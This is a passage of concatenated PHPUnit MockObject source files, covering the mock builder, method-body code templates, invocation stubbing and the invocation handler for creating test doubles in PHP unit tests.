PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface MockType { /** * @psalm-return class-string */ public function generate(): string; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Generator; use SebastianBergmann\Template\Template; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait TemplateLoader { /** * @psalm-var array */ private static array $templates = []; /** * @psalm-suppress MissingThrowsDocblock */ private function loadTemplate(string $template): Template { $filename = __DIR__ . '/templates/' . $template; if (!isset(self::$templates[$filename])) { self::$templates[$filename] = new Template($filename); } return self::$templates[$filename]; } } @trigger_error({deprecation}, E_USER_DEPRECATED); {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} {{deprecation} $__phpunit_definedVariables = get_defined_vars(); $__phpunit_namedVariadicParameters = []; foreach ($__phpunit_definedVariables as $__phpunit_definedVariableName => $__phpunit_definedVariableValue) { if ((new ReflectionParameter([__CLASS__, __FUNCTION__], $__phpunit_definedVariableName))->isVariadic()) { foreach ($__phpunit_definedVariableValue as $__phpunit_key => $__phpunit_namedValue) { if (is_string($__phpunit_key)) { $__phpunit_namedVariadicParameters[$__phpunit_key] = $__phpunit_namedValue; } } } } $__phpunit_arguments = [{arguments_call}]; $__phpunit_count = func_num_args(); if ({arguments_count} !== null && $__phpunit_count > {arguments_count}) { $__phpunit_arguments_tmp = func_get_args(); for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; } } $__phpunit_arguments = array_merge($__phpunit_arguments, $__phpunit_namedVariadicParameters); $__phpunit_result = $this->__phpunit_getInvocationHandler()->invoke( new \PHPUnit\Framework\MockObject\Invocation( '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments} ) );{return_result} } {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} { throw new \PHPUnit\Framework\MockObject\BadMethodCallException('Static method "{method_name}" cannot be invoked on mock object'); } declare(strict_types=1); interface {intersection} extends {interfaces} { } {modifier} function {reference}{method_name}({arguments_decl}){return_declaration} { $__phpunit_definedVariables = get_defined_vars(); $__phpunit_namedVariadicParameters = []; foreach ($__phpunit_definedVariables as $__phpunit_definedVariableName => $__phpunit_definedVariableValue) { if ((new ReflectionParameter([__CLASS__, __FUNCTION__], $__phpunit_definedVariableName))->isVariadic()) { foreach ($__phpunit_definedVariableValue as $__phpunit_key => $__phpunit_namedValue) { if (is_string($__phpunit_key)) { $__phpunit_namedVariadicParameters[$__phpunit_key] = $__phpunit_namedValue; } } } } $__phpunit_arguments = [{arguments_call}]; $__phpunit_count = func_num_args(); if ($__phpunit_count > {arguments_count}) { $__phpunit_arguments_tmp = func_get_args(); for ($__phpunit_i = {arguments_count}; $__phpunit_i < $__phpunit_count; $__phpunit_i++) { $__phpunit_arguments[] = $__phpunit_arguments_tmp[$__phpunit_i]; } } $__phpunit_arguments = array_merge($__phpunit_arguments, $__phpunit_namedVariadicParameters); $this->__phpunit_getInvocationHandler()->invoke( new \PHPUnit\Framework\MockObject\Invocation( '{class_name}', '{method_name}', $__phpunit_arguments, '{return_type}', $this, {clone_arguments}, true ) ); $__phpunit_result = call_user_func_array([$this->__phpunit_originalObject, "{method_name}"], $__phpunit_arguments);{return_result} } declare(strict_types=1); {prologue}{class_declaration} { {use_statements}{mocked_methods}}{epilogue} declare(strict_types=1); {prologue}class {class_name} { use {trait_name}; } declare(strict_types=1); {namespace}class {class_name} extends \SoapClient { public function __construct($wsdl, array $options) { parent::__construct('{wsdl}', $options); } {methods}} public function {method_name}({arguments}) { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function array_merge; use function assert; use function trait_exists; use PHPUnit\Framework\Exception; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\MockObject\Generator\CannotUseAddMethodsException; use PHPUnit\Framework\MockObject\Generator\ClassIsEnumerationException; use PHPUnit\Framework\MockObject\Generator\ClassIsFinalException; use PHPUnit\Framework\MockObject\Generator\ClassIsReadonlyException; use PHPUnit\Framework\MockObject\Generator\DuplicateMethodException; use PHPUnit\Framework\MockObject\Generator\Generator; use PHPUnit\Framework\MockObject\Generator\InvalidMethodNameException; use PHPUnit\Framework\MockObject\Generator\NameAlreadyInUseException; use PHPUnit\Framework\MockObject\Generator\OriginalConstructorInvocationRequiredException; use PHPUnit\Framework\MockObject\Generator\ReflectionException; use PHPUnit\Framework\MockObject\Generator\RuntimeException; use PHPUnit\Framework\MockObject\Generator\UnknownTypeException; use PHPUnit\Framework\TestCase; use ReflectionClass; /** * @psalm-template MockedType * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class MockBuilder { private readonly TestCase $testCase; /** * @psalm-var class-string|trait-string */ private readonly string $type; /** * @psalm-var list */ private array $methods = []; private bool $emptyMethodsArray = false; /** * @psalm-var ?class-string */ private ?string $mockClassName = null; private array $constructorArgs = []; private bool $originalConstructor = true; private bool $originalClone = true; private bool $autoload = true; private bool $cloneArguments = false; private bool $callOriginalMethods = false; private ?object $proxyTarget = null; private bool $allowMockingUnknownTypes = true; private bool $returnValueGeneration = true; private readonly Generator $generator; /** * @psalm-param class-string|trait-string $type */ public function __construct(TestCase $testCase, string $type) { $this->testCase = $testCase; $this->type = $type; $this->generator = new Generator; } /** * Creates a mock object using a fluent interface. * * @throws ClassIsEnumerationException * @throws ClassIsFinalException * @throws ClassIsReadonlyException * @throws DuplicateMethodException * @throws InvalidArgumentException * @throws InvalidMethodNameException * @throws NameAlreadyInUseException * @throws OriginalConstructorInvocationRequiredException * @throws ReflectionException * @throws RuntimeException * @throws UnknownTypeException * * @psalm-return MockObject&MockedType */ public function getMock(): MockObject { $object = $this->generator->testDouble( $this->type, true, !$this->emptyMethodsArray ? $this->methods : null, $this->constructorArgs, $this->mockClassName ?? '', $this->originalConstructor, $this->originalClone, $this->autoload, $this->cloneArguments, $this->callOriginalMethods, $this->proxyTarget, $this->allowMockingUnknownTypes, $this->returnValueGeneration, ); assert($object instanceof $this->type); assert($object instanceof MockObject); $this->testCase->registerMockObject($object); return $object; } /** * Creates a mock object for an abstract class using a fluent interface. * * @throws Exception * @throws ReflectionException * @throws RuntimeException * * @psalm-return MockObject&MockedType * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5305 */ public function getMockForAbstractClass(): MockObject { $object = $this->generator->mockObjectForAbstractClass( $this->type, $this->constructorArgs, $this->mockClassName ?? '', $this->originalConstructor, $this->originalClone, $this->autoload, $this->methods, $this->cloneArguments, ); assert($object instanceof MockObject); $this->testCase->registerMockObject($object); return $object; } /** * Creates a mock object for a trait using a fluent interface. * * @throws Exception * @throws ReflectionException * @throws RuntimeException * * @psalm-return MockObject&MockedType * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5306 */ public function getMockForTrait(): MockObject { assert(trait_exists($this->type)); $object = $this->generator->mockObjectForTrait( $this->type, $this->constructorArgs, $this->mockClassName ?? '', $this->originalConstructor, $this->originalClone, $this->autoload, $this->methods, $this->cloneArguments, ); assert($object instanceof MockObject); $this->testCase->registerMockObject($object); return $object; } /** * Specifies the subset of methods to mock, requiring each to exist in the class. * * @psalm-param list $methods * * @throws CannotUseOnlyMethodsException * @throws ReflectionException * * @return $this */ public function onlyMethods(array $methods): self { if (empty($methods)) { $this->emptyMethodsArray = true; return $this; } try { $reflector = new ReflectionClass($this->type); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); // @codeCoverageIgnoreEnd } foreach ($methods as $method) { if (!$reflector->hasMethod($method)) { throw new CannotUseOnlyMethodsException($this->type, $method); } } $this->methods = array_merge($this->methods, $methods); return $this; } /** * Specifies methods that don't exist in the class which you want to mock. * * @psalm-param list $methods * * @throws CannotUseAddMethodsException * @throws ReflectionException * @throws RuntimeException * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5320 */ public function addMethods(array $methods): self { if (empty($methods)) { $this->emptyMethodsArray = true; return $this; } try { $reflector = new ReflectionClass($this->type); // @codeCoverageIgnoreStart } catch (\ReflectionException $e) { throw new ReflectionException( $e->getMessage(), $e->getCode(), $e, ); // @codeCoverageIgnoreEnd } foreach ($methods as $method) { if ($reflector->hasMethod($method)) { throw new CannotUseAddMethodsException($this->type, $method); } } $this->methods = array_merge($this->methods, $methods); return $this; } /** * Specifies the arguments for the constructor. * * @return $this */ public function setConstructorArgs(array $arguments): self { $this->constructorArgs = $arguments; return $this; } /** * Specifies the name for the mock class. * * @psalm-param class-string $name * * @return $this */ public function setMockClassName(string $name): self { $this->mockClassName = $name; return $this; } /** * Disables the invocation of the original constructor. * * @return $this */ public function disableOriginalConstructor(): self { $this->originalConstructor = false; return $this; } /** * Enables the invocation of the original constructor. * * @return $this */ public function enableOriginalConstructor(): self { $this->originalConstructor = true; return $this; } /** * Disables the invocation of the original clone constructor. * * @return $this */ public function disableOriginalClone(): self { $this->originalClone = false; return $this; } /** * Enables the invocation of the original clone constructor. * * @return $this */ public function enableOriginalClone(): self { $this->originalClone = true; return $this; } /** * Disables the use of class autoloading while creating the mock object. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5309 * * @codeCoverageIgnore */ public function disableAutoload(): self { $this->autoload = false; return $this; } /** * Enables the use of class autoloading while creating the mock object. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5309 */ public function enableAutoload(): self { $this->autoload = true; return $this; } /** * Disables the cloning of arguments passed to mocked methods. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5315 */ public function disableArgumentCloning(): self { $this->cloneArguments = false; return $this; } /** * Enables the cloning of arguments passed to mocked methods. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5315 */ public function enableArgumentCloning(): self { $this->cloneArguments = true; return $this; } /** * Enables the invocation of the original methods. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5307 * * @codeCoverageIgnore */ public function enableProxyingToOriginalMethods(): self { $this->callOriginalMethods = true; return $this; } /** * Disables the invocation of the original methods. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5307 */ public function disableProxyingToOriginalMethods(): self { $this->callOriginalMethods = false; $this->proxyTarget = null; return $this; } /** * Sets the proxy target. * * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5307 * * @codeCoverageIgnore */ public function setProxyTarget(object $object): self { $this->proxyTarget = $object; return $this; } /** * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5308 */ public function allowMockingUnknownTypes(): self { $this->allowMockingUnknownTypes = true; return $this; } /** * @return $this * * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5308 */ public function disallowMockingUnknownTypes(): self { $this->allowMockingUnknownTypes = false; return $this; } /** * @return $this */ public function enableAutoReturnValueGeneration(): self { $this->returnValueGeneration = true; return $this; } /** * @return $this */ public function disableAutoReturnValueGeneration(): self { $this->returnValueGeneration = false; return $this; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait DoubledCloneMethod { public function __clone(): void { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function call_user_func_array; use function func_get_args; use PHPUnit\Framework\MockObject\Builder\InvocationMocker; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait Method { public function method(): InvocationMocker { $expects = $this->expects(new AnyInvokedCount); return call_user_func_array( [$expects, 'method'], func_get_args(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\MockObject\Builder\InvocationMocker as InvocationMockerBuilder; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait MockObjectApi { private object $__phpunit_originalObject; /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_hasMatchers(): bool { return $this->__phpunit_getInvocationHandler()->hasMatchers(); } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_setOriginalObject(object $originalObject): void { $this->__phpunit_originalObject = $originalObject; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_verify(bool $unsetInvocationMocker = true): void { $this->__phpunit_getInvocationHandler()->verify(); if ($unsetInvocationMocker) { $this->__phpunit_unsetInvocationMocker(); } } abstract public function __phpunit_getInvocationHandler(): InvocationHandler; abstract public function __phpunit_unsetInvocationMocker(): void; public function expects(InvocationOrder $matcher): InvocationMockerBuilder { return $this->__phpunit_getInvocationHandler()->expects($matcher); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait ProxiedCloneMethod { public function __clone(): void { $this->__phpunit_invocationMocker = clone $this->__phpunit_getInvocationHandler(); parent::__clone(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This trait is not covered by the backward compatibility promise for PHPUnit */ trait StubApi { /** * @psalm-var list */ private static array $__phpunit_configurableMethods; private bool $__phpunit_returnValueGeneration = true; private ?InvocationHandler $__phpunit_invocationMocker = null; /** @noinspection MagicMethodsValidityInspection */ public static function __phpunit_initConfigurableMethods(ConfigurableMethod ...$configurableMethods): void { static::$__phpunit_configurableMethods = $configurableMethods; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_setReturnValueGeneration(bool $returnValueGeneration): void { $this->__phpunit_returnValueGeneration = $returnValueGeneration; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_getInvocationHandler(): InvocationHandler { if ($this->__phpunit_invocationMocker === null) { $this->__phpunit_invocationMocker = new InvocationHandler( static::$__phpunit_configurableMethods, $this->__phpunit_returnValueGeneration, ); } return $this->__phpunit_invocationMocker; } /** @noinspection MagicMethodsValidityInspection */ public function __phpunit_unsetInvocationMocker(): void { $this->__phpunit_invocationMocker = null; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Identity { /** * Sets the identification of the expectation to $id. * * @note The identifier is unique per mock object. */ public function id(string $id): self; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use function array_flip; use function array_key_exists; use function array_map; use function array_merge; use function array_pop; use function assert; use function count; use function is_string; use function range; use function strtolower; use PHPUnit\Framework\Constraint\Constraint; use PHPUnit\Framework\InvalidArgumentException; use PHPUnit\Framework\MockObject\ConfigurableMethod; use PHPUnit\Framework\MockObject\IncompatibleReturnValueException; use PHPUnit\Framework\MockObject\InvocationHandler; use PHPUnit\Framework\MockObject\Matcher; use PHPUnit\Framework\MockObject\MatcherAlreadyRegisteredException; use PHPUnit\Framework\MockObject\MethodCannotBeConfiguredException; use PHPUnit\Framework\MockObject\MethodNameAlreadyConfiguredException; use PHPUnit\Framework\MockObject\MethodNameNotConfiguredException; use PHPUnit\Framework\MockObject\MethodParametersAlreadyConfiguredException; use PHPUnit\Framework\MockObject\Rule; use PHPUnit\Framework\MockObject\Stub\ConsecutiveCalls; use PHPUnit\Framework\MockObject\Stub\Exception; use PHPUnit\Framework\MockObject\Stub\ReturnArgument; use PHPUnit\Framework\MockObject\Stub\ReturnCallback; use PHPUnit\Framework\MockObject\Stub\ReturnReference; use PHPUnit\Framework\MockObject\Stub\ReturnSelf; use PHPUnit\Framework\MockObject\Stub\ReturnStub; use PHPUnit\Framework\MockObject\Stub\ReturnValueMap; use PHPUnit\Framework\MockObject\Stub\Stub; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class InvocationMocker implements InvocationStubber, MethodNameMatch { private readonly InvocationHandler $invocationHandler; private readonly Matcher $matcher; /** * @psalm-var list */ private readonly array $configurableMethods; /** * @psalm-var ?array */ private ?array $configurableMethodNames = null; public function __construct(InvocationHandler $handler, Matcher $matcher, ConfigurableMethod ...$configurableMethods) { $this->invocationHandler = $handler; $this->matcher = $matcher; $this->configurableMethods = $configurableMethods; } /** * @throws MatcherAlreadyRegisteredException * * @return $this */ public function id(string $id): self { $this->invocationHandler->registerMatcher($id, $this->matcher); return $this; } /** * @return $this */ public function will(Stub $stub): Identity { $this->matcher->setStub($stub); return $this; } /** * @throws IncompatibleReturnValueException */ public function willReturn(mixed $value, mixed ...$nextValues): self { if (count($nextValues) === 0) { $this->ensureTypeOfReturnValues([$value]); $stub = $value instanceof Stub ? $value : new ReturnStub($value); return $this->will($stub); } $values = array_merge([$value], $nextValues); $this->ensureTypeOfReturnValues($values); $stub = new ConsecutiveCalls($values); return $this->will($stub); } public function willReturnReference(mixed &$reference): self { $stub = new ReturnReference($reference); return $this->will($stub); } public function willReturnMap(array $valueMap): self { $method = $this->configuredMethod(); assert($method instanceof ConfigurableMethod); $numberOfParameters = $method->numberOfParameters(); $defaultValues = $method->defaultParameterValues(); $hasDefaultValues = !empty($defaultValues); $_valueMap = []; foreach ($valueMap as $mapping) { $numberOfConfiguredParameters = count($mapping) - 1; if ($numberOfConfiguredParameters === $numberOfParameters || !$hasDefaultValues) { $_valueMap[] = $mapping; continue; } $_mapping = []; $returnValue = array_pop($mapping); foreach (range(0, $numberOfParameters - 1) as $i) { if (isset($mapping[$i])) { $_mapping[] = $mapping[$i]; continue; } if (isset($defaultValues[$i])) { $_mapping[] = $defaultValues[$i]; } } $_mapping[] = $returnValue; $_valueMap[] = $_mapping; } $stub = new ReturnValueMap($_valueMap); return $this->will($stub); } public function willReturnArgument(int $argumentIndex): self { $stub = new ReturnArgument($argumentIndex); return $this->will($stub); } public function willReturnCallback(callable $callback): self { $stub = new ReturnCallback($callback); return $this->will($stub); } public function willReturnSelf(): self { $stub = new ReturnSelf; return $this->will($stub); } public function willReturnOnConsecutiveCalls(mixed ...$values): self { $stub = new ConsecutiveCalls($values); return $this->will($stub); } public function willThrowException(Throwable $exception): self { $stub = new Exception($exception); return $this->will($stub); } /** * @return $this */ public function after(string $id): self { $this->matcher->setAfterMatchBuilderId($id); return $this; } /** * @throws \PHPUnit\Framework\Exception * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException * * @return $this */ public function with(mixed ...$arguments): self { $this->ensureParametersCanBeConfigured(); $this->matcher->setParametersRule(new Rule\Parameters($arguments)); return $this; } /** * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException * * @return $this */ public function withAnyParameters(): self { $this->ensureParametersCanBeConfigured(); $this->matcher->setParametersRule(new Rule\AnyParameters); return $this; } /** * @throws InvalidArgumentException * @throws MethodCannotBeConfiguredException * @throws MethodNameAlreadyConfiguredException * * @return $this */ public function method(Constraint|string $constraint): self { if ($this->matcher->hasMethodNameRule()) { throw new MethodNameAlreadyConfiguredException; } if (is_string($constraint)) { $this->configurableMethodNames ??= array_flip( array_map( static fn (ConfigurableMethod $configurable) => strtolower($configurable->name()), $this->configurableMethods, ), ); if (!array_key_exists(strtolower($constraint), $this->configurableMethodNames)) { throw new MethodCannotBeConfiguredException($constraint); } } $this->matcher->setMethodNameRule(new Rule\MethodName($constraint)); return $this; } /** * @throws MethodNameNotConfiguredException * @throws MethodParametersAlreadyConfiguredException */ private function ensureParametersCanBeConfigured(): void { if (!$this->matcher->hasMethodNameRule()) { throw new MethodNameNotConfiguredException; } if ($this->matcher->hasParametersRule()) { throw new MethodParametersAlreadyConfiguredException; } } private function configuredMethod(): ?ConfigurableMethod { $configuredMethod = null; foreach ($this->configurableMethods as $configurableMethod) { if ($this->matcher->methodNameRule()->matchesName($configurableMethod->name())) { if ($configuredMethod !== null) { return null; } $configuredMethod = $configurableMethod; } } return $configuredMethod; } /** * @throws IncompatibleReturnValueException */ private function ensureTypeOfReturnValues(array $values): void { $configuredMethod = $this->configuredMethod(); if ($configuredMethod === null) { return; } foreach ($values as $value) { if (!$configuredMethod->mayReturn($value)) { throw new IncompatibleReturnValueException( $configuredMethod, $value, ); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use PHPUnit\Framework\MockObject\Stub\Stub; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface InvocationStubber { public function will(Stub $stub): Identity; public function willReturn(mixed $value, mixed ...$nextValues): self; public function willReturnReference(mixed &$reference): self; /** * @psalm-param array> $valueMap */ public function willReturnMap(array $valueMap): self; public function willReturnArgument(int $argumentIndex): self; public function willReturnCallback(callable $callback): self; public function willReturnSelf(): self; public function willReturnOnConsecutiveCalls(mixed ...$values): self; public function willThrowException(Throwable $exception): self; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use PHPUnit\Framework\Constraint\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface MethodNameMatch extends ParametersMatch { /** * Adds a new method name match and returns the parameter match object for * further matching possibilities. */ public function method(Constraint|string $constraint): self; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface ParametersMatch extends Stub { /** * Defines the expectation which must occur before the current is valid. */ public function after(string $id): Stub; /** * Sets the parameters to match for, each parameter to this function will * be part of match. To perform specific matches or constraints create a * new PHPUnit\Framework\Constraint\Constraint and use it for the parameter. * If the parameter value is not a constraint it will use the * PHPUnit\Framework\Constraint\IsEqual for the value. * * Some examples: * * // match first parameter with value 2 * $b->with(2); * // match first parameter with value 'smock' and second identical to 42 * $b->with('smock', new PHPUnit\Framework\Constraint\IsEqual(42)); * */ public function with(mixed ...$arguments): self; /** * Sets a rule which allows any kind of parameters. * * Some examples: * * // match any number of parameters * $b->withAnyParameters(); * */ public function withAnyParameters(): self; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject\Builder; use PHPUnit\Framework\MockObject\Stub\Stub as BaseStub; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Stub extends Identity { /** * Stubs the matching method with the stub object $stub. Any invocations of * the matched method will now be handled by the stub instead. */ public function will(BaseStub $stub): Identity; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\MockObject\Builder\InvocationMocker; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; /** * @method InvocationMocker method($constraint) * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface MockObject extends Stub { public function expects(InvocationOrder $invocationRule): InvocationMocker; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface MockObjectInternal extends MockObject, StubInternal { public function __phpunit_hasMatchers(): bool; public function __phpunit_setOriginalObject(object $originalObject): void; public function __phpunit_verify(bool $unsetInvocationMocker = true): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use PHPUnit\Framework\MockObject\Builder\InvocationStubber; /** * @method InvocationStubber method($constraint) * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ interface Stub { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This interface is not covered by the backward compatibility promise for PHPUnit */ interface StubInternal extends Stub { public static function __phpunit_initConfigurableMethods(ConfigurableMethod ...$configurableMethods): void; public function __phpunit_getInvocationHandler(): InvocationHandler; public function __phpunit_setReturnValueGeneration(bool $returnValueGeneration): void; public function __phpunit_unsetInvocationMocker(): void; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function array_map; use function implode; use function is_object; use function sprintf; use function str_starts_with; use function strtolower; use function substr; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Util\Cloner; use SebastianBergmann\Exporter\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Invocation implements SelfDescribing { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-var non-empty-string */ private readonly string $methodName; private readonly array $parameters; private readonly string $returnType; private readonly bool $isReturnTypeNullable; private readonly bool $proxiedCall; private readonly MockObjectInternal|StubInternal $object; /** * @psalm-param class-string $className * @psalm-param non-empty-string $methodName */ public function __construct(string $className, string $methodName, array $parameters, string $returnType, MockObjectInternal|StubInternal $object, bool $cloneObjects = false, bool $proxiedCall = false) { $this->className = $className; $this->methodName = $methodName; $this->object = $object; $this->proxiedCall = $proxiedCall; if (strtolower($methodName) === '__tostring') { $returnType = 'string'; } if (str_starts_with($returnType, '?')) { $returnType = substr($returnType, 1); $this->isReturnTypeNullable = true; } else { $this->isReturnTypeNullable = false; } $this->returnType = $returnType; if (!$cloneObjects) { $this->parameters = $parameters; return; } foreach ($parameters as $key => $value) { if (is_object($value)) { $parameters[$key] = Cloner::clone($value); } } $this->parameters = $parameters; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } /** * @psalm-return non-empty-string */ public function methodName(): string { return $this->methodName; } public function parameters(): array { return $this->parameters; } /** * @throws Exception */ public function generateReturnValue(): mixed { if ($this->returnType === 'never') { throw new NeverReturningMethodException( $this->className, $this->methodName, ); } if ($this->isReturnTypeNullable || $this->proxiedCall) { return null; } return (new ReturnValueGenerator)->generate( $this->className, $this->methodName, $this->object::class, $this->returnType, ); } public function toString(): string { $exporter = new Exporter; return sprintf( '%s::%s(%s)%s', $this->className, $this->methodName, implode( ', ', array_map( [$exporter, 'shortenedExport'], $this->parameters, ), ), $this->returnType ? sprintf(': %s', $this->returnType) : '', ); } public function object(): MockObjectInternal|StubInternal { return $this->object; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function strtolower; use Exception; use PHPUnit\Framework\MockObject\Builder\InvocationMocker; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class InvocationHandler { /** * @psalm-var list */ private array $matchers = []; /** * @psalm-var array */ private array $matcherMap = []; /** * @psalm-var list */ private readonly array $configurableMethods; private readonly bool $returnValueGeneration; /** * @psalm-param list $configurableMethods */ public function __construct(array $configurableMethods, bool $returnValueGeneration) { $this->configurableMethods = $configurableMethods; $this->returnValueGeneration = $returnValueGeneration; } public function hasMatchers(): bool { foreach ($this->matchers as $matcher) { if ($matcher->hasMatchers()) { return true; } } return false; } /** * Looks up the match builder with identification $id and returns it. */ public function lookupMatcher(string $id): ?Matcher { return $this->matcherMap[$id] ?? null; } /** * Registers a matcher with the identification $id. The matcher can later be * looked up using lookupMatcher() to figure out if it has been invoked. * * @throws MatcherAlreadyRegisteredException */ public function registerMatcher(string $id, Matcher $matcher): void { if (isset($this->matcherMap[$id])) { throw new MatcherAlreadyRegisteredException($id); } $this->matcherMap[$id] = $matcher; } public function expects(InvocationOrder $rule): InvocationMocker { $matcher = new Matcher($rule); $this->addMatcher($matcher); return new InvocationMocker( $this, $matcher, ...$this->configurableMethods, ); } /** * @throws \PHPUnit\Framework\MockObject\Exception * @throws Exception */ public function invoke(Invocation $invocation): mixed { $exception = null; $hasReturnValue = false; $returnValue = null; foreach ($this->matchers as $match) { try { if ($match->matches($invocation)) { $value = $match->invoked($invocation); if (!$hasReturnValue) { $returnValue = $value; $hasReturnValue = true; } } } catch (Exception $e) { $exception = $e; } } if ($exception !== null) { throw $exception; } if ($hasReturnValue) { return $returnValue; } if (!$this->returnValueGeneration) { if (strtolower($invocation->methodName()) === '__tostring') { return ''; } throw new ReturnValueNotConfiguredException($invocation); } return $invocation->generateReturnValue(); } /** * @throws Throwable */ public function verify(): void { foreach ($this->matchers as $matcher) { $matcher->verify(); } } private function addMatcher(Matcher $matcher): void { $this->matchers[] = $matcher; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\MockObject; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\MockObject\Rule\AnyInvokedCount; use PHPUnit\Framework\MockObject\Rule\AnyParameters; use PHPUnit\Framework\MockObject\Rule\InvocationOrder; use 